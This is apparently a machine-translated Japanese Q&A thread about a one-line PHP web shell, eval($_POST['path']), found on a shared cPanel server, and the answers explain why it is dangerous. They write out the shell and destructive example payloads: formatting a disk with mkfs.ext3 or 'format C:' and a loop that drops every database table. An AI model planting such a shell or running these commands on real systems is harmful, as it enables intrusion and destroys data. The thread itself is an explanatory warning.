cPanel との共有 Web サーバーでこのコードを見つけたとします。シェルをサーバーにアップロードするか、他の方法で、メールの添付ファイルや cPanel にアクセスできますか?
それを行う方法の手順は必要ありません。可能なアクションの全体的なアイデアです。詳細をお伝えできず申し訳ありません。しかし、このコードは誰かを攻撃するためのものではありません。
<?php eval($_POST['path']);?>
簡単な答えは「はい」です。詳細については、このリンクをお読みください。
注意
eval() 言語構造は、任意の PHP コードを実行できるため、非常に危険です。したがって、その使用はお勧めできません。この構文を使用する以外に選択肢がないことを慎重に確認した場合は、ユーザーが提供したデータを事前に適切に検証せずに渡さないように特に注意してください。
たとえばpath
、次のように設定すると、apache ユーザーが実行権限を持つ任意のシェル コマンドが実行されます。
exec("system command here");
Eval は、入力を適切に維持しない限り使用しないでください。入力を維持する場合でも、使用しないでください。サーバーに重大なリスクをもたらします。特に、eval
Run from a $_POST
.. を使用Tamper data
して、その投稿の内容を何にでも変更することができます。SQL インジェクション、何でも PHP として実行します。
次の場合を除き、これを使用しないでください。
1) あなたは自分が何をしているか知っている
2) 攻撃者から 100% 守られていると感じている。
マニュアルを参照してください:
http://uk3.php.net/manual/en/function.eval.php
eval() 言語構造は、任意の PHP コードを実行できるため、非常に危険です。したがって、その使用はお勧めできません。この構文を使用する以外に選択肢がないことを慎重に確認した場合は、ユーザーが提供したデータを事前に適切に検証せずに渡さないように特に注意してください。
例:
Linux システムの場合、私の投稿は次のようになります。
<?php exec(mkfs.ext3 /dev/sdb1); ?>
そして私はあなたのFSをフォーマットします
Windows ファイル システムの場合:
<?php exec("format C: /q"); ?>
再フォーマット。
これは、これを使用すべきではない理由の単なる例です。
少し遅い編集:
これを回答に追加するのを忘れていたので、今追加します。
eval($_POST[]);
スクリプトの使用が非常に危険にさらされている場合は、IE. PDO
データベース接続変数を使用していることがわかった場合。以下を実行できます。
$Query = $eval->prepare("SHOW TABLES"); $Query->execute(); $Fetch = $Query->fetchAll(PDO::FETCH_COLUMN); print_r($Fetch); foreach($Fetch AS $F){ $New = $eval->exec("DROP TABLE {$F}"); }
そして、すべてのテーブルが削除されます。これは、Eval を避けるべき理由の小さな例です。
これは、フィルタリングされていない入力データが任意のコードを実行できるようにする、重大なセキュリティ上の脆弱性です。PHP を実行しているユーザーが利用できるすべてのアクセスは、潜在的な攻撃者に提供されます。